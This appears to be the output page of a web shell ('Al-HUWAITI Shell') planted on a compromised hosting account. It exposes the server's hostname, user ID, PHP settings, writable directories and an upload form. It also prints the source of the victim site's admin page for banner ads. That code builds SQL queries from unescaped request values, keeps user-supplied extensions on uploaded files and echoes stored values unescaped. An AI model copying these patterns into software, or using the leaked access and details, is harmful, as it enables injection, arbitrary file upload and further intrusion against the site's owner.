Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/annoncelights.dk/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/u107206879/domains/annoncelights.dk/public_html/admin/page_ads_background_edit.php
<?php
$error = "";
$message = "";
include "db_connection.php";
include "sessioncheck.php";

if (!empty($_GET["page_id"])) {
    if (!empty($_POST["Process"]) && trim($_POST["Process"]) == "AddNow") {
        //echo "<pre>";print_r($_POST);exit;	 
        if (!empty($_POST["link"]) && count($_POST["link"]) > 0) {
            //$query = "delete from `page_ads` where rowset='".$_POST["rowset"]."'";
            $result = mysqli_query($connection, $query);
            foreach ($_POST["link"] as $key => $row_link) {
                if (!empty($row_link)) {
                    $page_id = test_input($_POST['page_id']);
                    $ad_device = test_input($_POST['ad_device'][$key]);
                    $link = $row_link;
                    $img_title = test_input($_POST["img_title"][$key]);
                    $active = test_input($_POST['active'][$key]);
                    $ad_placement = test_input($_POST['ad_placement'][$key]);
                    $rowset = $_POST['rowset'];
                    #add the code 
                    if (!empty($_FILES["image_name"]["name"][$key])) {
                        #upload image code
                        $tmp_name = $_FILES['image_name']['tmp_name'][$key];
                        $path = "../bg_images/";
                        $name = $_FILES['image_name']['name'][$key];
                        $size = $_FILES['image_name']['size'][$key];
                        $type = $_FILES['image_name']['type'][$key];
                        $ext = strtolower(substr($name, strrpos($name, '.') + 1));
                        $name = time() . "_" . rand(0, 999999) . "." . $ext;
                        $target_file = $path . $name;
                        move_uploaded_file($_FILES["image_name"]["tmp_name"][$key], $target_file);
                        $image_name = $name;
                    } else {
                        $image_name = !empty($_POST['old_image'][$key]) ? $_POST['old_image'][$key] : "";
                    }

                    #insert
                    $query = "INSERT INTO `page_ads` (`id`, `page_id`, `link`, `image_name`, `img_alt`, `img_title`, `ad_placement`, `ad_device`, `active`, `rowset`) VALUES (NULL, '" . addslashes($page_id) . "', '" . addslashes($link) . "', '" . addslashes($image_name) . "', '" . addslashes($img_title) . "', '" . addslashes($img_title) . "', '" . addslashes($ad_placement) . "', '" . addslashes($ad_device) . "','" . addslashes($active) . "', '" . $rowset . "')";
                    $result = mysqli_query($connection, $query);
                    $message = "Data addded successfully";
                } //if(!empty($post_file))		
            } //foreach($_POST["row_add"] as $post_file)			
            //unset($_POST);	
        }
    }
}

$ad_device_array = array("background", "desktop", "mobile", "tablet");
$type_array = array("bottom", "top");

if (!empty($_POST['rowset'])) {
    $rowset = $_POST['rowset'];
} else {
    $rowset = md5(uniqid(rand(), true));
}

/*echo "<li>".$rowset;
print_r($_POST);
print_r($_GET);
exit;*/

?>
<!-- Header Start-->
<?php include("header.php"); ?>
<nav class=" navbar navbar-expand navbar-white navbar-light">
    <ul class="navbar-nav">
        <li class="nav-item">
            <a class="nav-link" data-widget="pushmenu" href="#">
                <i class="fa fa-bars" style="color:white;"></i>
            </a>
        </li>
    </ul>
    <div>
        <ol class="breadcrumb float-sm-right">
            <li class="breadcrumb-item ">List Page Banner</li>
            <li class="breadcrumb-item">Add Page Banner</li>
        </ol>
    </div>
</nav>
<!-- Header Ends-->
<style>
    .tablet,
    .mobile,
    .desktop {
        display: none;
    }

    .background {
        display: block;
    }
</style>
<!-- Content Start-->

<section class="content">
    <div class="container-fluid">
        <div class="row">
            <div class="col-12">
                <div class="card">
                    <!-- /.card-header -->
                    <div class="card-body">
                        <?php include_once 'notification.php'; ?>
                        <form action="" method="post" id="add-page_ads-link-form" enctype="multipart/form-data">
                            <div class="form-group">
                                <label for="file_name">Select Page</label>
                                <?php $pageQuery = mysqli_query($connection, "SELECT *  FROM page ORDER BY page_id DESC"); ?>
                                <select class="form-control input_border_radius input-sm" name="page_id" id="page_id" required onchange="change_url(this.value);">
                                    <option value="" <?= ($_GET['page_id'] == "") ? 'selected' : '' ?>>Select</option>
                                    <option value="all" <?= ($_GET['page_id'] == "all") ? 'selected' : '' ?>>All</option>
                                    <?php while ($pageData = mysqli_fetch_assoc($pageQuery)) {     ?>
                                        <option value="<?= $pageData['page_id'] ?>" <?= ($_GET['page_id'] == $pageData['page_id']) ? 'selected' : '' ?>><?= $pageData['page_id'] ?> - <?= $pageData['page'] ?></option>
                                    <?php    }     ?>
                                </select>
                            </div>

                            <?php if (!empty($_GET["page_id"])) {
                                if (!empty($_GET["item_id"])) {
                                } else {
                                    $_GET["item_id"] = "";
                                }

                                #Check total entry for this page_id
                                $shailTotal = mysqli_query($connection, "SELECT count(*) as total FROM page_ads	where rowset='" . $_GET["item_id"] . "' ORDER BY page_id DESC");
                                $shailvalue = mysqli_fetch_assoc($shailTotal);

                                $background =  false;

                                if ($shailvalue["total"] == 1) {
                                    $shailsget = mysqli_query($connection, "SELECT * FROM page_ads where rowset='" . $_GET["item_id"] . "' ORDER BY page_id DESC");
                                    $shailsget = mysqli_fetch_assoc($shailsget);
                                    if ($shailsget["ad_placement"] == "background") {
                                        $background =  true;
                                        //$ad_device_array =array("desktop");					
                                    }
                                }



                                if (!empty($_GET["item_id"])) { ?>
                                    <input type="hidden" id="rowset" name="rowset" value="<?= $_GET["item_id"] ?>" />
                                <?php } else { ?>
                                    <input type="hidden" id="rowset" name="rowset" value="<?= $rowset ?>" />
                                <?php }
                                $rowcount = $shailvalue["total"];
                                $k = 1;
                                foreach ($ad_device_array as $key_ad_device => $val_ad_device) {
                                    $shailQuery = "";
                                    $shailQuery = mysqli_query($connection, "SELECT *  FROM page_ads where rowset='" . $_GET["item_id"] . "' and ad_device='" . $val_ad_device . "'   limit 1");
                                    $shailData = mysqli_fetch_assoc($shailQuery);
                                    //echo "<pre>";print_r($shailData);
                                ?>

                                    <?php
                                    $display  = "block";
                                    if (!empty($shailData["id"])) {
                                        $display  = "block";
                                    } else {
                                        $display  = "none";
                                    }

                                    if (($rowcount == 0) && ($val_ad_device == "desktop" || $val_ad_device == "tablet" || $val_ad_device == "mobile")) {
                                        $display  = "block";
                                    }
                                    ?>


                                    <div class="row <?php echo $val_ad_device; ?>" <?php if (!empty($_GET["page_id"])) { ?> style="display:<?= $display ?>" <?php } ?>>
                                        <div class="form-group form-check-inline">
                                            <input type="text" class="form-control" id="ad_device_<?= $k ?>" name="ad_device[]" value="<?php echo $val_ad_device; ?>" readonly="true" style="width:70px;">
                                        </div>

                                        <div class="form-group form-check-inline">
                                            <input type="text" title="Link" alt="Link" class="form-control message_outgoing_link_<?php echo $val_ad_device; ?>" id="_<?= $k ?>" name="link[]" placeholder="Link" value="<?php if (!empty($shailData["link"])) {
                                                                                                                                                                                                                            echo $shailData["link"];
                                                                                                                                                                                                                        } ?>" style="width:120px;">
                                        </div>

                                        <div class="form-group form-check-inline">
                                            <select class="form-control" title="Select Link Active" id="active_<?= $k ?>" name="active[]" style="width:120px;">
                                                <option value="1" <?php if (isset($shailData["active"]) && trim($shailData["active"]) == "1") { ?> selected="selected" <?php } ?>>Link Active - Yes </option>
                                                <option value="0" <?php if (isset($shailData["active"]) && trim($shailData["active"]) == "0") { ?> selected="selected" <?php } ?>>Link Active - No </option>
                                            </select>
                                        </div>

                                        <div class="form-group form-check-inline">
                                            <input type="text" title="Image Title" alt="Image Title" class="form-control img_title_<?php echo $val_ad_device; ?>" id="img_title_<?= $k ?>" name="img_title[]" placeholder="Title" value="<?php if (!empty($shailData["img_title"])) {
                                                                                                                                                                                                                                                echo $shailData["img_title"];
                                                                                                                                                                                                                                            } ?>" style="width:120px;">
                                        </div>

                                        <div class="form-group form-check-inline">
                                            <input title="Image" alt="Image" name="image_name[]" id="image_name_<?= $k ?>" type="file" placeholder="Upload Image" value="Upload Image">
                                        </div>

                                        <?php if (!empty($shailData["img_title"])) { ?>
                                            <input type="hidden" name="old_image[]" id="old_image" value="<?= $shailData['image_name'] ?>" />
                                            <div class="form-group form-check-inline">
                                                <img src="<?= MAIN_URL ?>/bg_images/<?= $shailData['image_name'] ?>" width="60px;" />
                                            </div>
                                        <?php } ?>

                                        <div class="form-group form-check-inline">
                                            <select class="form-control ad_placement1" title="Select Position" id="ad_placement_<?= $k ?>" name="ad_placement[]">

                                                <option value="top" <?php if (!empty($shailData["ad_placement"]) && trim($shailData["ad_placement"]) == "top") { ?> selected="selected" <?php } ?>> Top </option>
                                                <option value="bottom" <?php if (!empty($shailData["ad_placement"]) && trim($shailData["ad_placement"]) == "bottom") { ?> selected="selected" <?php } ?>> Bottom </option>
                                                <?php if ($val_ad_device == "desktop") { ?>
                                                    <option value="background" <?php if (!empty($shailData["ad_placement"]) && trim($shailData["ad_placement"]) == "background") { ?> selected="selected" <?php } ?>> Background </option>
                                                <?php } ?>
                                            </select>
                                        </div>



                                    </div>






                                <?php $k++;
                                } ?>
                                <div class="row">
                                    <div class="form-group form-check-inline">
                                        <button type="submit" class="btn btn-primary">Add Page Banner</button>
                                        <input type="hidden" name="Process" id="Process" value="AddNow" />
                                    </div>

                                    <div class="form-group form-check-inline">
                                        <button type="button" value="Multi Device" class="btn btn-primary show_device" title="Click to show all device">Multi</button>
                                    </div>

                                    <?php if (!empty($_GET["page_id"])) { ?>

                                        <div class="form-group form-check-inline">
                                            <button type="button" class="btn btn-primary" title="Reset Ad Id" onClick="change_url('<?= $_GET["page_id"] ?>')">RESET</button>

                                        <?php } ?>
                                        </div>
                                </div>






                            <?php } ?>




                        </form>

                        <?php if (!empty($_GET["page_id"])) {
                            $query = "SELECT* from page_ads WHERE rowset ='" . $rowset . "'";
                            $sql = mysqli_query($connection, $query);
                            $data = array();
                            if (mysqli_num_rows($sql) > 0) { ?>
                                <hr />
                                <table id="ads_table" class="table table-bordered table-striped text-nowrap" width="100%">
                                    <thead>
                                        <tr>
                                            <th>ID</th>

                                            <th>Link</th>
                                            <th>Image</th>
                                            <th>Title</th>
                                            <th>Placement</th>
                                            <th>Device</th>
                                            <th>Status</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>

                                        <?php while ($record = mysqli_fetch_assoc($sql)) { ?>
                                            <tr>
                                                <td><?= $record["id"] ?></td>

                                                <td><a class="search_link" href=<?= $record['link'] ?> target="_blank" title="<?= $record['link'] ?>" alt="<?= $record['link'] ?>"><?= substr($record['link'], 0, 20) ?>...</a></td>
                                                <td><a class="image_popup" href="<?= MAIN_URL ?>/bg_images/<?= $record['image_name'] ?>" target="_blank" title="<?= $record['img_title'] ?>" alt="<?= $record['img_title'] ?>"><img class="img-fluid" width="80px;" src="<?= MAIN_URL ?>/bg_images/<?= $record['image_name'] ?>"></a></td>
                                                <td><?= $record["img_title"] ?></td>
                                                <td><?= $record["ad_placement"] ?></td>
                                                <td>
                                                    <?php if ($record['ad_placement'] == "background") {
                                                        echo "Background";
                                                    } else {
                                                        echo "Multi";
                                                    } ?>
                                                </td>
                                                <td>
                                                    <?php if ($record['active'] == "1") {
                                                        echo "Active";
                                                    } else {
                                                        echo "Inactive";
                                                    } ?>
                                                </td>
                                                <td><!--<a href='page_ads_add.php?page_id=<?= $record['page_id'] ?>&item_id=<?= $record['rowset'] ?>'  class='edit_user btn menu-icon vd_bg-yellow' title='Edit Banner'><i class='fa fa-edit fa-lg'></i></a>-->

                                                    <button id='delete_user_<?= $record['rowset'] ?>' type='button' class='btn menu-icon vd_bg-red delete_user' data-id='<?= $record['rowset'] ?>' title='Delete Banner'><i class='fa fa-trash fa-lg'></i></button>
                                                </td>
                                            </tr>

                                        <?php } //while 
                                        ?>

                                </table>
                            <?php }  ?>
                        <?php  } ?>
                    </div>
                    <!-- /.card-body -->
                </div>
                <!-- /.card -->
            </div>
        </div>
        <!-- /.row (main row) -->
    </div><!-- /.container-fluid -->
</section>
<!-- Content Ends-->
<script type="text/javascript">
    function change_url(val) {
        window.location = "<?php echo MAIN_URL ?>/admin/page_ads_add?page_id=" + val;
    }

    $(document.body).on('click', '.delete_user', function(e) {
        if (confirm("Are you sure!") == true) {} else {
            return false;
        }
        var crud = 'delete';
        var val = $(this).data("id");
        //alert(val);return false;
        $.ajax({
            url: 'service/delete_page_ads_item',
            type: 'post',
            data: {
                crud: crud,
                value: val
            },
            success: function(data) {
                if (data == '1') {
                    $(".modal-backdrop").remove();
                    $('#delete_user_' + val).closest("tr").remove();
                    //window.location.href = window.location.href;	
                }
            }
        });
        $('.btn-confirm-delete').unbind();
    });
    /*$(document.body).on('click', '.delete_user', function(e){
    	$(".btn-confirm-delete").attr("data-id",$(this).data('id'));
    	$('.delete_user').unbind();
    });*/

    //.tablet, .mobile, .desktop	
    $(document.body).on('click', '.show_device', function(e) {

        if ($('.background').css('display') == 'block') {
            $('.background').css("display", "none");

            $('.tablet').css("display", "block");
            $('.mobile').css("display", "block");
            $('.desktop').css("display", "block");
        } else {
            $('.background').css("display", "block");

            $('.tablet').css("display", "none");
            $('.mobile').css("display", "none");
            $('.desktop').css("display", "none");

        }




    });

    //.tablet, .mobile, .desktop	
    $(document.body).on('change', '.ad_placement1', function(e) {
        if ($(this).val() == 'background') {
            //$('.background').css("display","none");

            $('.tablet').css("display", "none");
            $('.mobile').css("display", "none");
            $('.desktop').css("display", "block");
        } else {
            //$('.background').css("display","block");	

            $('.tablet').css("display", "block");
            $('.mobile').css("display", "block");
            $('.desktop').css("display", "block");

        }




    });

    $('#add-page_ads-link-form').submit(function() {
        if ($('.background').css('display') == 'none') {
            $(".message_outgoing_link_all").val("");
        }
        if ($('.tablet').css('display') == 'none') {
            $(".message_outgoing_link_tablet").val("");
        }
        if ($('.mobile').css('display') == 'none') {
            $(".message_outgoing_link_mobile").val("");
        }
        if ($('.desktop').css('display') == 'none') {
            $(".message_outgoing_link_desktop").val("");
        }
        return true;
    });
</script>
<!-- Footer Start-->
<?php include("footer.php"); ?>
<!-- Footer Ends-->

Al-HUWAITI Shell